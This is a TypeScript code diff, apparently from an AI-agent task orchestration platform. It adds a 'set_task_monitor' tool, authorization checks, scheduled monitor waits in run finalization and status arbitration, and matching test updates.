if (issueStateGuard.monitorNextCheckAt !== undefined) return { kind: "skipped" as const };
|
||||
await tx.insert(agentWakeupRequests).values({
|
||||
...durableReceiptFields,
|
||||
companyId: agent.companyId,
|
||||
agentId,
|
||||
source,
|
||||
triggerDetail,
|
||||
reason: "issue_state_guard_mismatch",
|
||||
payload: {
|
||||
...(payload ?? {}),
|
||||
heartbeatSkip: {
|
||||
reason:
|
||||
"Issue status or assignee changed before the wake could be queued.",
|
||||
issueId: issue.id,
|
||||
expectedStatuses: issueStateGuard.statuses,
|
||||
actualStatus: issue.status,
|
||||
expectedAssigneeAgentId: issueStateGuard.assigneeAgentId,
|
||||
actualAssigneeAgentId: issue.assigneeAgentId,
|
||||
},
|
||||
},
|
||||
status: "skipped",
|
||||
requestedByActorType: opts.requestedByActorType ?? null,
|
||||
requestedByActorId: opts.requestedByActorId ?? null,
|
||||
idempotencyKey: opts.idempotencyKey ?? null,
|
||||
finishedAt: new Date(),
|
||||
});
|
||||
return { kind: "skipped" as const };
|
||||
}
|
||||
|
||||
if (opts.failedRunId) {
|
||||
// The issue lock makes double-clicks and network retries adopt the
|
||||
// same successor, including after it has already finished.
|
||||
@@ -28068,40 +28160,6 @@ export function heartbeatService(
|
||||
onBlocked: (reason, message) => { continuationWait = { reason, message }; },
|
||||
}))) return deferBlockedExecution(executionBlocker);
|
||||
|
||||
const issueStateGuard = opts.issueStateGuard;
|
||||
if (
|
||||
issueStateGuard &&
|
||||
(!issueStateGuard.statuses.includes(issue.status) ||
|
||||
issue.assigneeAgentId !== issueStateGuard.assigneeAgentId ||
|
||||
(issueStateGuard.statusVersion !== undefined && issue.statusVersion !== issueStateGuard.statusVersion))
|
||||
) {
|
||||
await tx.insert(agentWakeupRequests).values({
|
||||
...durableReceiptFields,
|
||||
companyId: agent.companyId,
|
||||
agentId,
|
||||
source,
|
||||
triggerDetail,
|
||||
reason: "issue_state_guard_mismatch",
|
||||
payload: {
|
||||
...(payload ?? {}),
|
||||
heartbeatSkip: {
|
||||
reason:
|
||||
"Issue status or assignee changed before the wake could be queued.",
|
||||
issueId: issue.id,
|
||||
expectedStatuses: issueStateGuard.statuses,
|
||||
actualStatus: issue.status,
|
||||
expectedAssigneeAgentId: issueStateGuard.assigneeAgentId,
|
||||
actualAssigneeAgentId: issue.assigneeAgentId,
|
||||
},
|
||||
},
|
||||
status: "skipped",
|
||||
requestedByActorType: opts.requestedByActorType ?? null,
|
||||
requestedByActorId: opts.requestedByActorId ?? null,
|
||||
idempotencyKey: opts.idempotencyKey ?? null,
|
||||
finishedAt: new Date(),
|
||||
});
|
||||
return { kind: "skipped" as const };
|
||||
}
|
||||
|
||||
if (
|
||||
worktreeExecutionCutoff &&
|
||||
|
||||
@@ -0,0 +1,166 @@
|
||||
import { issueExecutionMonitorPolicySchema, PROVIDER_QUOTA_MONITOR_SERVICE_NAME } from "@paperclipai/shared";
|
||||
import type { issues } from "@paperclipai/db";
|
||||
import { z } from "zod";
|
||||
import { forbidden, unprocessable } from "../errors.js";
|
||||
import type { accessService } from "./access.js";
|
||||
import { authorizationDeniedDetails, type AuthorizationActor } from "./authorization.js";
|
||||
import { applyIssueMonitorPolicyTransition, normalizeIssueExecutionPolicy, parseIssueExecutionState, redactIssueMonitorExternalRef, setIssueExecutionPolicyMonitorScheduledBy } from "./issue-execution-policy.js";
|
||||
|
||||
type NormalizedExecutionPolicy = ReturnType<typeof normalizeIssueExecutionPolicy>;
|
||||
|
||||
export function monitorPoliciesEqual(
|
||||
left: NormalizedExecutionPolicy | null,
|
||||
right: NormalizedExecutionPolicy | null,
|
||||
) {
|
||||
return (
|
||||
JSON.stringify(left?.monitor ?? null) ===
|
||||
JSON.stringify(right?.monitor ?? null)
|
||||
);
|
||||
}
|
||||
|
||||
export function applyActorMonitorScheduledBy(
|
||||
policy: NormalizedExecutionPolicy | null,
|
||||
actorType: "agent" | "user",
|
||||
) {
|
||||
return setIssueExecutionPolicyMonitorScheduledBy(
|
||||
policy,
|
||||
actorType === "user" ? "board" : "assignee",
|
||||
);
|
||||
}
|
||||
|
||||
export async function assertCanManageIssueMonitor(
|
||||
accessSvc: Pick<ReturnType<typeof accessService>, "decide">,
|
||||
req: { actor: AuthorizationActor },
|
||||
companyId: string,
|
||||
assigneeAgentId: string | null,
|
||||
monitorChanged: boolean,
|
||||
) {
|
||||
if (!monitorChanged) return;
|
||||
if (req.actor.type === "board") return;
|
||||
const runtimeDecision = await accessSvc.decide({
|
||||
actor: req.actor,
|
||||
action: "runtime:manage",
|
||||
resource: { type: "company", companyId },
|
||||
});
|
||||
if (!runtimeDecision.allowed) {
|
||||
throw forbidden(
|
||||
runtimeDecision.explanation,
|
||||
authorizationDeniedDetails(runtimeDecision),
|
||||
);
|
||||
}
|
||||
if (
|
||||
req.actor.type === "agent" &&
|
||||
req.actor.agentId &&
|
||||
req.actor.agentId === assigneeAgentId
|
||||
)
|
||||
return;
|
||||
throw forbidden(
|
||||
"Only the assignee agent or a board user can manage issue monitors",
|
||||
);
|
||||
}
|
||||
|
||||
export function summarizeIssueMonitor(
|
||||
issue: {
|
||||
monitorNextCheckAt?: Date | null;
|
||||
monitorLastTriggeredAt?: Date | null;
|
||||
monitorAttemptCount?: number | null;
|
||||
monitorNotes?: string | null;
|
||||
monitorScheduledBy?: string | null;
|
||||
executionState?: unknown;
|
||||
},
|
||||
policy: NormalizedExecutionPolicy | null,
|
||||
) {
|
||||
const state = parseIssueExecutionState(issue.executionState);
|
||||
return {
|
||||
nextCheckAt:
|
||||
issue.monitorNextCheckAt?.toISOString() ??
|
||||
policy?.monitor?.nextCheckAt ??
|
||||
null,
|
||||
lastTriggeredAt:
|
||||
issue.monitorLastTriggeredAt?.toISOString() ??
|
||||
state?.monitor?.lastTriggeredAt ??
|
||||
null,
|
||||
attemptCount:
|
||||
issue.monitorAttemptCount ?? state?.monitor?.attemptCount ?? 0,
|
||||
notes:
|
||||
policy?.monitor?.notes ??
|
||||
issue.monitorNotes ??
|
||||
state?.monitor?.notes ??
|
||||
null,
|
||||
scheduledBy:
|
||||
issue.monitorScheduledBy ??
|
||||
policy?.monitor?.scheduledBy ??
|
||||
state?.monitor?.scheduledBy ??
|
||||
null,
|
||||
kind: policy?.monitor?.kind ?? state?.monitor?.kind ?? null,
|
||||
serviceName:
|
||||
policy?.monitor?.serviceName ?? state?.monitor?.serviceName ?? null,
|
||||
externalRef: redactIssueMonitorExternalRef(
|
||||
policy?.monitor?.externalRef ?? state?.monitor?.externalRef ?? null,
|
||||
),
|
||||
timeoutAt: policy?.monitor?.timeoutAt ?? state?.monitor?.timeoutAt ?? null,
|
||||
maxAttempts:
|
||||
policy?.monitor?.maxAttempts ?? state?.monitor?.maxAttempts ?? null,
|
||||
recoveryPolicy:
|
||||
policy?.monitor?.recoveryPolicy ?? state?.monitor?.recoveryPolicy ?? null,
|
||||
status: state?.monitor?.status ?? (policy?.monitor ? "scheduled" : null),
|
||||
clearReason: state?.monitor?.clearReason ?? null,
|
||||
};
|
||||
}
|
||||
|
||||
export const setTaskMonitorSchema = z.object({
|
||||
taskId: z.string().uuid().optional(),
|
||||
idempotencyKey: z.string().trim().min(1).max(240),
|
||||
monitor: issueExecutionMonitorPolicySchema.omit({ scheduledBy: true }).extend({
|
||||
notes: z.string().trim().min(1).max(500),
|
||||
}).strict().refine(monitor => monitor.serviceName !== PROVIDER_QUOTA_MONITOR_SERVICE_NAME, {
|
||||
message: "This serviceName is reserved for server-owned quota recovery; use a different service name for an ordinary task check",
|
||||
path: ["serviceName"],
|
||||
}).nullable(),
|
||||
}).strict();
|
||||
|
||||
/** Caller holds the issue lock; merge only monitor state, never review policy. */
|
||||
export function prepareIssueMonitorUpdate(
|
||||
issue: typeof issues.$inferSelect,
|
||||
monitor: z.infer<typeof setTaskMonitorSchema>["monitor"],
|
||||
actor: AuthorizationActor,
|
||||
now = new Date(),
|
||||
) {
|
||||
if (monitor && Date.parse(monitor.nextCheckAt) <= now.getTime()) {
|
||||
throw unprocessable("Monitor nextCheckAt must be in the future");
|
||||
}
|
||||
if (monitor?.timeoutAt && Date.parse(monitor.timeoutAt) <= Date.parse(monitor.nextCheckAt)) {
|
||||
throw unprocessable("Monitor timeoutAt must be later than nextCheckAt");
|
||||
}
|
||||
const previousPolicy = normalizeIssueExecutionPolicy(issue.executionPolicy);
|
||||
const policy = applyActorMonitorScheduledBy(normalizeIssueExecutionPolicy({
|
||||
...previousPolicy, monitor,
|
||||
}), actor.type === "board" ? "user" : "agent");
|
||||
const transition = applyIssueMonitorPolicyTransition({
|
||||
issue, policy, previousPolicy, requestedAssigneePatch: {},
|
||||
actor: { agentId: actor.agentId ?? null, userId: actor.userId ?? null },
|
||||
monitorExplicitlyUpdated: true,
|
||||
});
|
||||
// Normalization supplies monitor defaults, but must not rewrite unrelated
|
||||
// review/authorization settings (including forward-compatible policy fields).
|
||||
const storedPolicy = { ...(issue.executionPolicy ?? {}) };
|
||||
if (policy?.monitor) storedPolicy.monitor = policy.monitor;
|
||||
else delete storedPolicy.monitor;
|
||||
return { ...transition.patch, executionPolicy: Object.keys(storedPolicy).length ? storedPolicy : null } as Partial<typeof issues.$inferInsert>;
|
||||
}
|
||||
|
||||
/** Timestamp presence alone is not authority to park a native task. */
|
||||
export function eligibleIssueMonitorWait(
|
||||
issue: typeof issues.$inferSelect,
|
||||
agentId: string,
|
||||
now = new Date(),
|
||||
): string | null {
|
||||
if (issue.assigneeAgentId !== agentId || issue.assigneeUserId ||
|
||||
!["in_progress", "in_review"].includes(issue.status) || !issue.monitorNextCheckAt) return null;
|
||||
const monitor = normalizeIssueExecutionPolicy(issue.executionPolicy)?.monitor;
|
||||
if (!monitor || monitor.serviceName === PROVIDER_QUOTA_MONITOR_SERVICE_NAME ||
|
||||
Date.parse(monitor.nextCheckAt) !== issue.monitorNextCheckAt.getTime() ||
|
||||
(monitor.timeoutAt && Date.parse(monitor.timeoutAt) <= now.getTime()) ||
|
||||
(monitor.maxAttempts != null && issue.monitorAttemptCount >= monitor.maxAttempts)) return null;
|
||||
return issue.monitorNextCheckAt.toISOString();
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
import { eligibleIssueMonitorWait } from "../issue-monitors.js";
|
||||
import { activeIssueInteractionCondition, ordinaryQuestionCondition } from "../issue-question-context.js";
|
||||
import { publishedTaskDocuments, validateNativeDeliverableEvidence } from "./native-deliverable-feedback.js";
|
||||
import { findAutomaticCompletionReviews } from "./automatic-completion-reviews.js";
|
||||
@@ -64,6 +65,7 @@ export async function nativeCompletionFeedback(
|
||||
if (!issue) throw new Error("Completion task no longer exists.");
|
||||
const reviewContext = readNativeReviewAssignmentContext(run.contextSnapshot);
|
||||
if (reviewContext) {
|
||||
if (result.continuation?.kind === "monitor") throw new Error("Review-only runs cannot yield to a task monitor; resolve the assigned review or report its blocker.");
|
||||
const review = await getNativeReviewAssignment(db, {
|
||||
companyId: run.companyId, issueId: issue.id, agentId: run.agentId,
|
||||
contextSnapshot: reviewContext, allowResolvedByRunId: run.id,
|
||||
@@ -96,6 +98,12 @@ export async function nativeCompletionFeedback(
|
||||
}
|
||||
|
||||
}
|
||||
if (result.reportedWorkDisposition === "yielded" && result.continuation?.kind === "monitor") {
|
||||
if (issue.workMode !== "standard" || issue.executionRunId !== run.id ||
|
||||
!eligibleIssueMonitorWait(issue, run.agentId)) {
|
||||
throw new Error("A monitor wait requires a persisted, eligible monitor on this task. Call set_task_monitor for the current task, confirm its schedule, then report yielded with continuation.kind monitor.");
|
||||
}
|
||||
}
|
||||
const signals = normalizePrpResultSignals(result);
|
||||
if (
|
||||
result.reportedWorkDisposition === "done" &&
|
||||
@@ -225,6 +233,9 @@ export async function nativeCompletionFeedback(
|
||||
if (readiness.unresolvedBlockerCount > 0) {
|
||||
return `Completion report accepted; this task still has unresolved dependencies. Explain the blockers on [this task](/issues/${issue.identifier ?? issue.id}); do not say the task is done.`;
|
||||
}
|
||||
if (result.reportedWorkDisposition === "yielded" && result.continuation?.kind === "monitor") {
|
||||
return `Monitor wait accepted. The task remains active and Paperclip will wake its assignee at or after ${issue.monitorNextCheckAt!.toISOString()} with issue_monitor_due. End this turn; do not poll or mark the task done.`;
|
||||
}
|
||||
if (
|
||||
!isConversation(issue) &&
|
||||
result.reportedWorkDisposition === "yielded" &&
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { eligibleIssueMonitorWait } from "../issue-monitors.js";
|
||||
import { isNativePlanWaitResult, readNativePlanWait } from "./native-plan-wait.js";
|
||||
import { activeIssueInteractionCondition } from "../issue-question-context.js";
|
||||
import { hasPendingNativeChildCompletion } from "./native-child-completion-delivery.js";
|
||||
@@ -1292,7 +1293,9 @@ export async function finalizeNativeRun(input: {
|
||||
};
|
||||
const hasPendingChildCompletion = !reviewContext &&
|
||||
await hasPendingNativeChildCompletion(input.db, childCompletionRecipient);
|
||||
const monitorWaitAt = eligibleIssueMonitorWait(authoritativeIssue, run.agentId);
|
||||
const proposedDecision = resolveNativeFinalizerStatus({
|
||||
monitorWaitAuthorized: authoritativeIssue.workMode === "standard" && authoritativeIssue.executionRunId === run.id && monitorWaitAt !== null,
|
||||
planWaitAuthorized: planWait !== null,
|
||||
hasPendingChildCompletion,
|
||||
providerModelRejected: providerFailure?.errorCode === "native_provider_model_rejected" && ownsProviderFailureDecision,
|
||||
@@ -1381,6 +1384,8 @@ export async function finalizeNativeRun(input: {
|
||||
priorStatusVersion: Number(authoritativeIssue.statusVersion),
|
||||
priorDecisionId: authoritativeIssue.lastStatusDecisionId,
|
||||
decision,
|
||||
requireMonitorWait: decision.reasonCode === "scheduled_monitor_waiting" && monitorWaitAt
|
||||
? { agentId: run.agentId, nextCheckAt: monitorWaitAt } : undefined,
|
||||
requirePlanWaitSource:
|
||||
decision.reasonCode === "native_plan_accepted_waiting_for_continuation"
|
||||
? planWait?.source : undefined,
|
||||
|
||||
@@ -102,7 +102,7 @@ describe("PaperclipRunnerToolAuthority", () => {
|
||||
issueId,
|
||||
runId,
|
||||
});
|
||||
expect(authority.definitions()).toHaveLength(38);
|
||||
expect(authority.definitions()).toHaveLength(39);
|
||||
const questions = authority.definitions().find(tool => tool.name === "request_human_input")!;
|
||||
expect(questions.description).toContain("ask only the next unanswered question");
|
||||
expect(questions.description).toContain("Never fabricate answers");
|
||||
@@ -128,6 +128,7 @@ describe("PaperclipRunnerToolAuthority", () => {
|
||||
"request_human_input",
|
||||
"create_task",
|
||||
"set_dependencies",
|
||||
"set_task_monitor",
|
||||
"list_documents",
|
||||
"read_document",
|
||||
"list_document_revisions",
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { assertCanManageIssueMonitor, prepareIssueMonitorUpdate, setTaskMonitorSchema, summarizeIssueMonitor } from "../issue-monitors.js";
|
||||
import { readTaskQuestionContext } from "../issue-question-context.js";
|
||||
import { isConversation } from "../agent-conversations.js";
|
||||
import { setIssueTitle } from "../issue-title.js";
|
||||
@@ -14,7 +15,7 @@ import type { createAssignedMcpTools } from "./assigned-mcp-tools.js";
|
||||
import { assertAssignableAgent } from "../agent-assignability.js";
|
||||
import { approvalReadSqlCondition, canActorReadApproval, authorizationService, issueReadSqlCondition, type AuthorizationActor } from "../authorization.js";
|
||||
import { resolveCoreTrustPreset } from "../trust-preset-resolver.js";
|
||||
import { normalizeIssueExecutionPolicy } from "../issue-execution-policy.js";
|
||||
import { normalizeIssueExecutionPolicy, redactIssueMonitorExternalRef } from "../issue-execution-policy.js";
|
||||
import { buildLowTrustSourceTrust } from "../source-trust.js";
|
||||
import { handoffPlanContext } from "./handoff-plan-context.js";
|
||||
import { callCreateSkillTool, callUpdateSkillTool } from "../skill-tools.js";
|
||||
@@ -101,7 +102,7 @@ const IMPLEMENTED_OPERATIONS = new Set([
|
||||
"submit_complaint", "submit_suggestion",
|
||||
"read_agent_instructions", "update_agent_instructions", "get_agent_instruction_history", "restore_agent_instructions",
|
||||
"search_api", "call_api", "hire_agent",
|
||||
"get_task_context", "get_task_history", "search_tasks", "report_progress", "set_task_title",
|
||||
"get_task_context", "get_task_history", "search_tasks", "report_progress", "set_task_title", "set_task_monitor",
|
||||
"request_human_input",
|
||||
"create_skill", "update_skill", "create_task", "reassign_task", "set_dependencies", "create_project", "list_project_repositories", "list_projects", "register_deliverable",
|
||||
"list_documents", "read_document", "list_document_revisions", "write_document",
|
||||
@@ -582,6 +583,7 @@ export class PaperclipRunnerToolAuthority {
|
||||
(await captureRunIdentity(this.db, this.binding)).context?.id ?? null);
|
||||
case "reassign_task": return this.#reassignTask(input);
|
||||
case "set_task_title": return this.#setTaskTitle(input);
|
||||
case "set_task_monitor": return this.#setTaskMonitor(input);
|
||||
case "set_dependencies": return this.#setDependencies(input);
|
||||
case "register_deliverable": return this.#registerDeliverable(input);
|
||||
default: throw new Error("paperclip_runner_tool_not_bound");
|
||||
@@ -1349,6 +1351,84 @@ export class PaperclipRunnerToolAuthority {
|
||||
return result;
|
||||
}
|
||||
|
||||
async #setTaskMonitor(value: Record<string, unknown>): Promise<unknown> {
|
||||
const input = setTaskMonitorSchema.parse(value);
|
||||
if (input.monitor?.externalRef) input.monitor.externalRef = redactIssueMonitorExternalRef(input.monitor.externalRef);
|
||||
const targetId = input.taskId ?? this.binding.issueId;
|
||||
let publication: Parameters<typeof publishActivity>[0] | null = null;
|
||||
let replayed = false;
|
||||
let replayStatus: string | null = null;
|
||||
let replayMonitor: ReturnType<typeof summarizeIssueMonitor> | null = null;
|
||||
const authorizeTarget = async (tx: Db, context: { run: typeof heartbeatRuns.$inferSelect }) => {
|
||||
// A second owned task may itself be writing another task: fail on lock
|
||||
// contention instead of taking opposite issue/run locks and deadlocking.
|
||||
const [target] = await tx.select().from(issues).where(and(
|
||||
eq(issues.id, targetId), eq(issues.companyId, this.binding.companyId),
|
||||
)).for("update", { noWait: true });
|
||||
if (!target) throw notFound("Task not found");
|
||||
const actor = this.#privacyActor(context.run);
|
||||
const access = authorizationService(tx);
|
||||
for (const action of ["issue:read", "issue:mutate"] as const) {
|
||||
const decision = await access.decide({ actor, action, resource: {
|
||||
type: "issue", companyId: this.binding.companyId, issueId: target.id,
|
||||
status: target.status, assigneeAgentId: target.assigneeAgentId, assigneeUserId: target.assigneeUserId,
|
||||
} });
|
||||
if (!decision.allowed) throw forbidden(decision.explanation);
|
||||
}
|
||||
await assertCanManageIssueMonitor(access, { actor }, target.companyId, target.assigneeAgentId, true);
|
||||
if (target.assigneeAgentId !== this.binding.agentId || target.assigneeUserId ||
|
||||
!["in_progress", "in_review"].includes(target.status)) {
|
||||
throw forbidden("Monitors require an in-progress or in-review task assigned to this agent");
|
||||
}
|
||||
return { target, actor };
|
||||
};
|
||||
const result = await this.#withMutationReceipt("set_task_monitor", input.idempotencyKey, input, async (tx, context) => {
|
||||
const { target, actor } = await authorizeTarget(tx, context);
|
||||
// The task lock also serializes retries after a new run resumes the task.
|
||||
// Keep the durable receipt in the existing run ledger, without a new table.
|
||||
const [earlier] = await tx.select({
|
||||
receipt: sql<ToolReceipt>`${heartbeatRuns.resultJson}->'semanticToolReceipts'->${input.idempotencyKey}`,
|
||||
}).from(heartbeatRuns).where(and(
|
||||
eq(heartbeatRuns.companyId, this.binding.companyId),
|
||||
eq(heartbeatRuns.agentId, this.binding.agentId),
|
||||
eq(heartbeatRuns.nativeIssueId, this.binding.issueId),
|
||||
sql`${heartbeatRuns.resultJson}->'semanticToolReceipts' ? ${input.idempotencyKey}`,
|
||||
)).orderBy(desc(heartbeatRuns.createdAt)).limit(1);
|
||||
if (earlier?.receipt) {
|
||||
if (earlier.receipt.operationId !== "set_task_monitor" || canonicalJson(earlier.receipt.input) !== canonicalJson(input)) {
|
||||
throw new Error("paperclip_runner_tool_idempotency_conflict");
|
||||
}
|
||||
replayed = true;
|
||||
replayStatus = target.status;
|
||||
replayMonitor = summarizeIssueMonitor(target, normalizeIssueExecutionPolicy(target.executionPolicy));
|
||||
return { taskId: target.id, status: target.status, monitor: replayMonitor };
|
||||
}
|
||||
const patch = prepareIssueMonitorUpdate(target, input.monitor, actor);
|
||||
const [updated] = await tx.update(issues).set({ ...patch, updatedAt: new Date() })
|
||||
.where(and(eq(issues.id, target.id), eq(issues.companyId, this.binding.companyId))).returning();
|
||||
if (!updated) throw notFound("Task not found");
|
||||
const monitor = summarizeIssueMonitor(updated, normalizeIssueExecutionPolicy(updated.executionPolicy));
|
||||
const activity = await persistActivity(tx, {
|
||||
companyId: this.binding.companyId, actorType: "agent", actorId: this.binding.agentId,
|
||||
agentId: this.binding.agentId, runId: this.binding.runId,
|
||||
action: input.monitor ? "issue.monitor_scheduled" : "issue.monitor_cleared",
|
||||
entityType: "issue", entityId: target.id,
|
||||
details: { identifier: target.identifier, nextCheckAt: monitor.nextCheckAt,
|
||||
notes: monitor.notes, scheduledBy: monitor.scheduledBy, serviceName: monitor.serviceName,
|
||||
timeoutAt: monitor.timeoutAt, maxAttempts: monitor.maxAttempts, recoveryPolicy: monitor.recoveryPolicy },
|
||||
});
|
||||
publication = activity.publication;
|
||||
return { taskId: updated.id, status: updated.status, monitor };
|
||||
}, { beforeReceiptReplay: async (tx, context) => {
|
||||
const { target } = await authorizeTarget(tx, context);
|
||||
replayed = true;
|
||||
replayStatus = target.status;
|
||||
replayMonitor = summarizeIssueMonitor(target, normalizeIssueExecutionPolicy(target.executionPolicy));
|
||||
} });
|
||||
if (publication) publishActivity(publication);
|
||||
return { ...record(result), ...(replayed ? { status: replayStatus, monitor: replayMonitor } : {}), replayed };
|
||||
}
|
||||
|
||||
async #setDependencies(input: Record<string, unknown>): Promise<unknown> {
|
||||
const idempotencyKey = requiredString(input.idempotencyKey);
|
||||
if (!Array.isArray(input.blockedByTaskIds)) {
|
||||
@@ -2037,6 +2117,9 @@ function redactedTask(task: typeof issues.$inferSelect) {
|
||||
workMode: task.workMode,
|
||||
assigneeAgentId: task.assigneeAgentId,
|
||||
executionRunId: task.executionRunId,
|
||||
...(task.monitorNextCheckAt || task.monitorLastTriggeredAt ? {
|
||||
monitor: summarizeIssueMonitor(task, normalizeIssueExecutionPolicy(task.executionPolicy)),
|
||||
} : {}),
|
||||
parentId: task.parentId,
|
||||
projectId: task.projectId,
|
||||
goalId: task.goalId,
|
||||
|
||||
@@ -44,6 +44,20 @@ function arbitrate(
|
||||
}
|
||||
|
||||
describe("native status authority", () => {
|
||||
it("waits on persisted monitors without an immediate continuation, even with unfinished work", () => {
|
||||
const pending = assessment({ reportedDisposition: "yielded", hasBlockingRemainingWork: true,
|
||||
continuation: { kind: "monitor", summary: "Check CI", idempotencyKey: "ci" } });
|
||||
for (const priorIssueStatus of ["in_progress", "in_review"] as const) {
|
||||
expect(arbitrate({ assessment: pending, priorIssueStatus, monitorWaitAuthorized: true }))
|
||||
.toMatchObject({ statusAction: "preserve", toStatus: priorIssueStatus,
|
||||
reasonCode: "scheduled_monitor_waiting", effects: [{ kind: "release_checkout" }] });
|
||||
}
|
||||
expect(arbitrate({ assessment: pending })).toMatchObject({ reasonCode: "monitor_wait_authority_lost",
|
||||
effects: [{ kind: "record_finalization_error" }] });
|
||||
expect(arbitrate({ assessment: pending, monitorWaitAuthorized: true, hasUnresolvedIssueBlockers: true }).toStatus).toBe("blocked");
|
||||
expect(arbitrate({ assessment: pending, monitorWaitAuthorized: true, governanceGate: { kind: "approval", id: "pending" } }).toStatus).toBe("in_review");
|
||||
});
|
||||
|
||||
it("keeps a pending child result non-terminal without adding another continuation", () => {
|
||||
expect(arbitrate({ hasPendingChildCompletion: true })).toMatchObject({
|
||||
statusAction: "in_progress", toStatus: "in_progress", reasonCode: "native_child_completion_pending",
|
||||
@@ -150,7 +164,7 @@ describe("native status authority", () => {
|
||||
toStatus: "in_review",
|
||||
effects: [expect.objectContaining({ kind: "create_interaction" })],
|
||||
});
|
||||
for (const kind of ["same_agent", "retry", "monitor"] as const) {
|
||||
for (const kind of ["same_agent", "retry"] as const) {
|
||||
expect(
|
||||
arbitrate({
|
||||
assessment: {
|
||||
@@ -562,7 +576,7 @@ describe("native status authority", () => {
|
||||
expect.objectContaining({
|
||||
statusAction: "blocked",
|
||||
toStatus: "blocked",
|
||||
policyVersion: "phase6-v10",
|
||||
policyVersion: "phase6-v11",
|
||||
reasonCode: "current_track_blocker_waiting",
|
||||
unblockDescriptor: {
|
||||
owner: "board",
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import type { NativeEvidenceAssessment } from "./evidence-classifier.js";
|
||||
import { NATIVE_MODEL_REJECTION_MESSAGE, NATIVE_PROVIDER_CAPACITY_MAX_RETRIES, NATIVE_PROVIDER_OVERLOADED_CODE, NATIVE_PROVIDER_OVERLOADED_MESSAGE } from "./native-provider-failure.js";
|
||||
|
||||
export const NATIVE_STATUS_ARBITER_POLICY_VERSION = "phase6-v10";
|
||||
export const NATIVE_STATUS_ARBITER_POLICY_VERSION = "phase6-v11";
|
||||
|
||||
export type NativeAuthoritativeIssueStatus =
|
||||
| "backlog"
|
||||
@@ -113,6 +113,7 @@ export function arbitrateNativeStatus(input: {
|
||||
"authorized" | "revoked" | "not_applicable";
|
||||
/** Server-verified accepted plan request and normal provider terminal. */
|
||||
planWaitAuthorized?: boolean;
|
||||
monitorWaitAuthorized?: boolean;
|
||||
boardResponseWaitAuthorized?: boolean;
|
||||
boardResponseWaitOrigin?: boolean;
|
||||
isConversation?: boolean;
|
||||
@@ -325,7 +326,7 @@ export function arbitrateNativeStatus(input: {
|
||||
input.assessment.hasBlockingRemainingWork;
|
||||
if (
|
||||
input.hasUnresolvedIssueBlockers === true &&
|
||||
(["done", "blocked"].includes(input.assessment.reportedDisposition) || unfinishedResponseWait)
|
||||
(["done", "blocked"].includes(input.assessment.reportedDisposition) || unfinishedResponseWait || input.assessment.continuation?.kind === "monitor")
|
||||
) {
|
||||
const owner = input.assessment.blocker?.boardOwned
|
||||
? ("board" as const)
|
||||
@@ -461,6 +462,25 @@ export function arbitrateNativeStatus(input: {
|
||||
],
|
||||
};
|
||||
}
|
||||
if (input.assessment.reportedDisposition === "yielded" && input.assessment.continuation?.kind === "monitor") {
|
||||
if (input.monitorWaitAuthorized) {
|
||||
return {
|
||||
policyVersion: NATIVE_STATUS_ARBITER_POLICY_VERSION,
|
||||
statusAction: "preserve", toStatus: input.priorIssueStatus,
|
||||
reasonCode: "scheduled_monitor_waiting", unblockDescriptor: null,
|
||||
// The persisted timer owns delivery, never enqueue an immediate wake.
|
||||
effects: [{ kind: "release_checkout" }],
|
||||
};
|
||||
}
|
||||
return {
|
||||
policyVersion: NATIVE_STATUS_ARBITER_POLICY_VERSION,
|
||||
statusAction: "preserve", toStatus: input.priorIssueStatus,
|
||||
reasonCode: "monitor_wait_authority_lost", unblockDescriptor: null,
|
||||
effects: [{ kind: "record_finalization_error", cause: "monitor_wait_authority_lost",
|
||||
nextAction: "The scheduled monitor was cleared or became ineligible. Re-establish a valid task action path.",
|
||||
agentId: input.agentId }],
|
||||
};
|
||||
}
|
||||
if (
|
||||
input.assessment.reportedDisposition === "yielded" &&
|
||||
input.assessment.continuation?.kind === "response_wake" &&
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { eligibleIssueMonitorWait } from "../issue-monitors.js";
|
||||
import { readNativePlanWait, type NativePlanWaitSource } from "./native-plan-wait.js";
|
||||
import { activeIssueInteractionCondition } from "../issue-question-context.js";
|
||||
import { isConversation } from "../agent-conversations.js";
|
||||
@@ -732,15 +733,13 @@ async function materializeDecisionEffect(input: {
|
||||
},
|
||||
};
|
||||
}
|
||||
if (effect.continuationKind === "monitor") throw new Error("Monitor delivery belongs to the issue monitor scheduler");
|
||||
const wakeId = await enqueueWake({
|
||||
tx: input.tx,
|
||||
companyId: input.companyId,
|
||||
issueId: input.issue.id,
|
||||
agentId: effect.agentId,
|
||||
reason:
|
||||
effect.continuationKind === "monitor"
|
||||
? "monitor_due"
|
||||
: "issue_status_changed",
|
||||
reason: "issue_status_changed",
|
||||
idempotencyKey: `native-status:${input.decisionId}:continuation`,
|
||||
payload: {
|
||||
nativeDecisionId: input.decisionId,
|
||||
@@ -1556,6 +1555,7 @@ export async function commitNativeStatusDecision(input: {
|
||||
supersedesCommittedDecisionId?: string;
|
||||
requireExternalChatResponseWaitAuthorization?: { agentId: string };
|
||||
requirePlanWaitSource?: NativePlanWaitSource;
|
||||
requireMonitorWait?: { agentId: string; nextCheckAt: string };
|
||||
requireNoPendingChildCompletion?: NativeChildCompletionRecipient;
|
||||
requireModelRejectionOwner?: { agentId: string; reviewContext: NativeReviewAssignmentContext | null };
|
||||
requireProviderFailureOwner?: { agentId: string; reviewContext: NativeReviewAssignmentContext | null };
|
||||
@@ -1646,6 +1646,15 @@ export async function commitNativeStatusDecision(input: {
|
||||
) {
|
||||
throw new NativeStatusRaceError();
|
||||
}
|
||||
if (reasonCode === "scheduled_monitor_waiting") {
|
||||
const expected = input.requireMonitorWait;
|
||||
if (!expected || issue.workMode !== "standard" || issue.executionRunId !== input.runId ||
|
||||
input.decision.statusAction !== "preserve" || input.decision.effects.length !== 1 ||
|
||||
input.decision.effects[0]?.kind !== "release_checkout" ||
|
||||
eligibleIssueMonitorWait(issue, expected.agentId) !== expected.nextCheckAt) {
|
||||
throw new NativeStatusRaceError();
|
||||
}
|
||||
}
|
||||
// Recheck under the parent status lock: a child can finish between the
|
||||
// finalizer's read and this commit. Re-arbitrate instead of discarding its wake.
|
||||
if (input.requireNoPendingChildCompletion && await hasPendingNativeChildCompletion(
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
